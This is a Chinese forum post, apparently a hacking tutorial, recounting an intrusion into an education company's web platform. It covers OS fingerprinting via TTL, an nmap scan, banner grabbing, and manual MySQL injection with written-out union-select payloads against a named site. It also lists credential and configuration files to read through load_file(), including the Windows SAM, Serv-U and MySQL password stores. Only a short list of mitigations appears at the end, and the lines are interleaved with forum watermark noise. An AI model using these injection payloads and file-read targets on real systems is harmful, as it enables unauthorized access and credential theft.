题记：2 Q1 Z7 T0 }- a5 h, w
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
* c$ P9 C+ |& ]0 A. c第一步：获取需要的信息
2 I! U1 y5 n* G( N" A- {由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。. K! n7 h+ }, [! d4 g" y o
注：以下为保护特用XXX代替敏感信息
' i: B+ q! V0 t) Z; F" w) ]" k顺手先PING了一下他们的域名：' k9 k6 q# X* ^6 i# n& W
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）/ c5 S% p8 v: {& j* S
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
# ]0 G1 D1 r6 H6 ^$ _顺便了解一下TTL，学好基础知识才能一路顺风：
+ Z: k Z2 j. k# x5 qTTL：(Time To Live ) 生存时间! m4 p# P, H8 b- ~6 x
指定数据包被路由器丢弃之前允许通过的网段数量。0 P8 I. z4 \% q! V3 _% y
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。, {" @& G$ U& n, v$ p/ v- ?' w* g. A [
使用PING时涉及到的 ICMP 报文类型
: h- U, {- U; \ x5 L( Q: i一个为ICMP请求回显（ICMP Echo Request）1 b3 v! ]* P+ c
一个为ICMP回显应答（ICMP Echo Reply）& M: @% Z& _6 [6 s
TTL 字段值可以帮助我们识别操作系统类型。+ t! z& p% R& t
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2551 c/ l, e0 m0 [. s
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 649 Y }5 V. r" I% G. s; A5 U
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
. k# E% X: D% h) U9 {% b微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 325 r1 R$ Q( s2 g" n
当然，返回的TTL值是相同的
9 M9 I4 v. G, v: W u: I. x但有些情况下有所特殊& _& _& B' E l F" C: k) }
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64- [% K# N/ a# }. `- L- p# j9 y! E
FreeBSD 4.1, 4.0, 3.4;
" h2 u* ^, e; S% J2 v( s3 j% A* OSun Solaris 2.5.1, 2.6, 2.7, 2.8;
- P; ^+ M; g9 o2 aOpenBSD 2.6, 2.7,
: P3 v, ~3 y& \7 }& JNetBSD U+ l9 k. G" n3 d. s
HP UX 10.20 f% l: Q3 Q) L3 q# o
ICMP 回显应答的 TTL 字段值为 255
) |' r, ~0 ?5 N6 H9 ^4 c# QWindows 95/98/98SE3 o4 T% D& r, }
Windows ME
' u4 r) d7 d+ t2 i2 ~) {ICMP 回显应答的 TTL 字段值为 32
& ?" p% k: ?8 ?3 R$ ?Windows NT4 WRKS7 J4 |$ o& v5 G b( r
Windows NT4 Server
* a8 ^) t0 y( P9 Y; x9 s+ eWindows 2000
' D/ |6 v1 f' P# T* g& u2 dWindows XP# v# q0 A4 l3 s( _$ Q; `1 E( w
ICMP 回显应答的 TTL 字段值为 128
- y; X/ J$ `' d' j" m这样，我们就可以通过这种方法来辨别操作系统
, a2 J; w0 p; s9 ?; sTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的2557 F# W3 b' Y# U6 M* s8 r) a/ {
用NMAP扫描一下：
5 n8 P4 w1 y+ f- V D" w- Vnmap -sT -O XXX.XXX.XXX.XXX
^6 H5 s" t$ g2 Q3 o9 K, A6 h如果没有装WinPcap则会弹出提示：
1 Q+ P4 ~1 y' {1 F+ xWARNING: Could not import all necessary WinPcap functions. You may need to upgr% q. j" t5 X8 Z7 w4 ?& e8 O
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(9 |8 I, s' w& [9 O
) mode — Nmap may not function completely: n- p3 P2 H( y9 p9 A: c
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher& s" w( G, S+ g) q" \; O ^$ m
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win- P4 Y8 k2 {9 o1 a
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an( V1 f1 D2 ]% G, o! U
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
& Z9 I, u% H" d; e' h. ~) uersions, you may be able to take iphlpapi.dll from another system and place it i& ~ K6 q4 W1 D V; B. X
n your system32 dir (e.g. c:\windows\system32).! Z% J3 V1 a+ ~: p
QUITTING!
( ^# M/ F* N8 D! `% C到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
0 d* ?9 j, U# ~" X6 Z) I! `安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
$ \' [& W; z: D$ {) \. Z+ nInteresting ports on XXX.XXX.XXX.XXX:& n- D o7 R* [0 @. f" r
Not shown: 986 closed ports; `) X9 R& [; l! h
PORT STATE SERVICE
4 s& c0 g1 A* h' }, |) Z+ z* D21/tcp open ftp
, b4 ?* Z* y3 \22/tcp open ssh5 `9 v. ]9 \8 Z. Q
23/tcp open telnet# U+ G' x4 P% f9 e5 [! H
80/tcp open http" q, Y2 h4 C" j' w) A
111/tcp open rpcbind! e# o9 P4 ^& M7 |
135/tcp filtered msrpc
2 n4 C! y" _% |139/tcp filtered netbios-ssn
U# q+ X. z4 m/ P# W# s445/tcp filtered microsoft-ds
6 v/ B3 e3 X7 s' X/ X513/tcp open login
) M7 z, J2 |! {- P514/tcp open shell
( Y/ {% H) X& s: z- x+ r( N, o' e* x593/tcp filtered http-rpc-epmap
0 ^+ o8 {$ s; ~: d* f0 ^8 m4 D1720/tcp filtered H.323/Q.931: e' Z& X6 J7 l
3306/tcp open mysql, B% l" A+ Z! V$ V
4444/tcp filtered krb524
$ c7 G0 {; g3 x5 E- k% w7 f5 g% ?7 vDevice type: WAP
+ ~; z q! D# ~. `) J( v: B( d. Q8 QRunning: Linux 2.4.X% c5 Z# Q) F4 t
OS details: DD-WRT (Linux 2.4.35s)
1 {; Y& {: w/ K, I, a) o, s6 HNetwork Distance: 13 hops! }" @4 E# J& m \7 M( H
看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
+ ?3 Y N1 A4 K, Q! {" m) Q0 elogin as:
I& c& [+ C- O- Y. R5 A. }5 ZTelnet23端口也是开着的，用telnet 命令链接一下：6 ?. @) S4 f+ |' h1 d# e3 q
telnet XXX.XXX.XXX.XXX
. [$ N. V G" x9 Y提示：+ t; F6 R3 K' I( a3 l$ c6 i( X
Red Hat Enterprise Linux Server release 5.2 (Tikanga)# q1 l( U4 J( r% Q. a
Kernel 2.6.18-92.el5PAE on an i686
9 M7 b0 y2 c$ E' n( slogin:* ^7 h7 A: m2 m/ k. z* T
获取HTTP头信息：
3 U1 N& T+ l* H9 K6 @ {在本地执行如下PHP代码
4 s8 G, @# W/ k- c9 A; O' T<?php( X3 u1 W m' D' d1 \* u
$url = ‘XXX.XXX.XXX.XXX’;
4 r; t6 s' n6 D( qprint_r(get_headers($url));
: ^! | N6 \3 y) m& l' rprint_r(get_headers($url, 1));
3 U( t4 _# O, V; G0 {1 i?>
' {( W9 _8 N1 P& j! Y! I9 A将以上代码保存为PHP文件，执行：
/ \: a. S1 C* o& [) Q: bArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )" n3 E) t6 ?! ?- G7 K5 ]% P, d
现在可以得出结论：
! K: y2 ~& o2 F5 A系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)' I% T6 S2 @. m- p
内核版本：Kernel 2.6.18-92.el5PAE on an i686
* k* g8 M( J q/ k9 LWEB服务器版本：nginx/0.7.61
0 ~, U) \( }6 u2 V第二步，开始测试寻找漏洞: B" o7 p9 L6 ^) V/ t+ ]$ H
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
# O2 B1 n8 ?7 P1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
0 l- x1 _; v0 \% J s ^2、测试方法：在地址后加 and 1=1 和 and 1=2 测试& O! n! I; f. @. |' m# w
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常. t+ J7 _4 {& `7 ]
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
+ U- X& ?( h: \恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续3 V* e; y4 S ~. i
3、手工注入：
2 q3 b4 p. I* _# T! Q注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
/ h8 Z' H# U9 N9 s) K3 o3 B& Q7 \3.1 猜测当前表字段数
. m3 L9 L, S" |) xhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
y+ J% R3 p* |此处猜测有个简单的算法，都是有技巧的吗，呵呵
4 H+ E7 O( c6 S- k: @- q1 g算法简单如下：
. `" I: d0 v' M- U4 b第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
' Y% \, h% D' o+ {' H第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
3 H5 n% u1 }! Y6 S& R$ K需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
: `6 h4 H; u2 S0 y$ b: w+ N# V/ P以此来判断，是否过界，配合取中算法猜出字段数。
! f5 D& m5 w6 h2 t举例：! _ s) x. Y. K1 I. f
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
, e/ z# F7 l# p$ Ahttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误. Z. G" f0 B7 Y) G) B. h$ B) m
此时3则为我们要找的字段数。5 P3 Z+ a8 j# S$ E+ Q
3.2 配合union联合查询字段在页面所位置& J% N$ @* J$ R( V6 s! a$ A1 o
我们已经知道了字段数为3，此时则可以做如下操作：
5 \! o: c1 Z5 ^# C" v- a- l# xhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
- L/ ?! j z1 G) j* b3 R7 @2 x% O' T2 Y, V1 y" P8 D4 ^6 C0 o
这样就可以测试到哪些字段在页面上有所显示了，如图：
+ g! ?8 U. |6 |2 P4 j1 P( F0 _' M
3.3 查敏感信息
! a" e) {3 d4 G X这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
1 g. T# ~+ Y0 E' E7 H1 `, Qhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
}- x' A& J% Z3.3.1 先查数据库用户、数据库名，以备后用，如图：
( C' Y' B' {- F# { i+ `. l7 V5 G- G8 z1 g& L
得到数据库用户为root、数据库名为DBxx；
/ j# }& J& f4 T3.3.2 查配置文件
$ A3 H! s, U7 J8 M查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
j5 v0 v' H$ A; x# A查看文件有一定的条件限制：
. y; w& ^ O8 u9 s欲读取文件必须在服务器上# o. v1 @6 R: H- ?
必须指定文件完整的路径
6 D l) b0 a0 \$ I必须有权限读取并且文件必须完全可读9 y3 y1 `+ {# e+ s: s$ B" T+ f/ C
欲读取文件必须小于 max_allowed_packet9 b; X. p# K" M1 O1 }# h% G# e
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。* W) I6 X0 w! k
常用的一些：* ?; P8 R4 I: u% p
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件$ X4 ?# ~! ]# k
/usr/local/apache2/conf/httpd.conf# c# M; D! z5 a: J2 `
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置# n& R! w' B8 T! w: [7 T) Z
/usr/local/app/php5/lib/php.ini //PHP相关设置
2 ?5 J( d! c/ ~% V/ n/etc/sysconfig/iptables //从中得到防火墙规则策略
0 _) j4 v* l5 @( { W/etc/httpd/conf/httpd.conf // apache配置文件
( ]0 I7 k( x) H3 R/etc/rsyncd.conf //同步程序配置文件" E- n3 I0 h! H% h5 j# D7 O$ k
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP., L: i$ t: U' c% F6 q3 I
/etc/my.cnf //mysql的配置文件
7 M6 _/ L, y: @, T8 k: y/etc/redhat-release //系统版本
2 p A' @3 O+ l& P7 K6 a5 b3 I/etc/issue5 O7 ?# W( g2 h; c' I9 I9 G/ d
/etc/issue.net
4 j0 C$ N4 s# T' B5 ?c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
1 L, S) Z. x8 h8 Wc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
8 a* b" v' P+ J1 uc:\Program Files\Serv-U\ServUDaemon.ini8 l$ }) U& y# t
c:\windows\my.ini //MYSQL配置文件
) b5 K7 t4 B( a2 J0 i1 H" c$ I% cc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件2 `& Y8 S8 R( S: [
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，) s& s; J7 B2 O# d6 D
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
/ _; Y7 C$ m) ]6 Lc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此) D% d7 V- N5 o% V4 W% ]6 y
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
. y Z6 \# t1 s, K) K HC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
$ k$ B3 V$ ]! t6 N- v//存储了pcAnywhere的登陆密码2 T7 m! ]4 L3 U' l
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
8 G. f/ k5 C/ I$ ^这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
" r0 ?8 f1 ^( _+ l9 E" ?最后：防范措施
% x( z6 D3 q3 o- v8 \# Y1、修复PHP注入漏洞；# U# g5 i5 Y) F' U0 v$ y
2、Mysql使用普通权限的用户；- Z9 k$ h" t& |2 v) b
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对